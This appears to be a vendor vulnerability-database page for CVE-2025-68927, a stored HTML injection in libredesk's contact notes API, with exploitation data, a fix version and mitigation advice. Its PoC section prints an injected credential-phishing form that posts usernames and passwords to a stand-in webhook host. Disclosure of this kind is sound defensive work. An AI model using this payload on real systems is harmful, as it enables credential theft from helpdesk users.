NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹 Go
Not in CISA KEV

CVE-2025-68927 — libredesk

Fix: abhinavxd/libredesk@2703478

CVE-2025-68927 is a Cross-site Scripting (XSS) vulnerability in github.com/abhinavxd/libredesk. A fix is available for github.com/abhinavxd/libredesk — see the affected versions and patch details below.

Improper Neutralization of HTML Tags in a Web Page in libredesk

Also known asGHSA-wh6m-h6f4-rjf4GO-2025-4243
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-68927.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs14th percentile — riskier than 14% of all scored CVEsHighest risk
0.00%0.24%0.49%0.73%0.1%0.2%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐹github.com/abhinavxd/libredesk

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks.


Details

When notes are added through the LibreDesk web application, the client sends note content wrapped inside <p> tags. The backend appears to trust this HTML structure and stores the content as-is.

By intercepting the request to:

POST /api/v1/contacts/3/notes

and removing the <p> wrapper, an attacker can submit arbitrary HTML content. The backend does not sanitize or validate the HTML payload before persisting it.

As a result:

  • Arbitrary HTML tags (e.g., <form>, <input>, <img>) are stored
  • The injected HTML is rendered when the notes are viewed in the application
  • No server-side HTML sanitization or allowlisting is enforced

This indicates that the application relies on client-side HTML formatting assumptions, which can be bypassed by modifying the request.


PoC

  1. Log in to LibreDesk and open any contact.

  2. Add a note normally via the UI.

  3. Intercept the request to:

    POST /api/v1/contacts/3/notes
    
  4. Original request body (example):

    {
      "note": "<p>This is a normal note</p>"
    }
    
  5. Modify the payload by removing the <p> tag and injecting arbitrary HTML:

    {
      "note": "<form action='https://webhook.site/xxxx' method='POST'>
                 <input type='text' name='username' placeholder='Username'>
                 <input type='password' name='password' placeholder='Password'>
                 <input type='submit' value='Re-authenticate'>
               </form>"
    }
    
  6. Forward the request.

  7. View the contact note in the LibreDesk UI.

Result: The injected HTML form is rendered inside the application.


Impact

This is a stored HTML injection vulnerability affecting any user who can add or view contact notes.

Potential impact includes:

  • Credential phishing through injected forms
  • CSRF-style forced actions using HTML-only forms
  • UI redress and social engineering
  • Increased risk if notes are viewed by privileged users (e.g., admins or agents)

If the notes are shared across users or roles, this vulnerability can be abused to target multiple users, increasing severity.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/abhinavxd/libredeskall versions0.8.6-betago get github.com/abhinavxd/libredesk@v0.8.6-beta

Affected Products

1 product · 1 configurations
Application
libredesklibredesk
< 0.8.6
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/abhinavxd/libredesk, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/abhinavxd/libredesk to 0.8.6-beta or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-68927 is resolved across your whole dependency graph.

  3. Workarounds

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Frequently Asked Questions

### Summary LibreDesk is vulnerable to **stored HTML injection** in the contact notes feature. When adding notes via `POST /api/v1/contacts/{id}/notes`, the backend automatically wraps user input in `<p>` tags. However, by intercepting the request and removing the `<p>` tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks. --- ### Details When notes are added through the LibreDesk web application, the client sends note content
O3 Security · Impact-Aware SCA

Is CVE-2025-68927 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2025-68927: libredesk CSRF — Fixed in 0.8.6-beta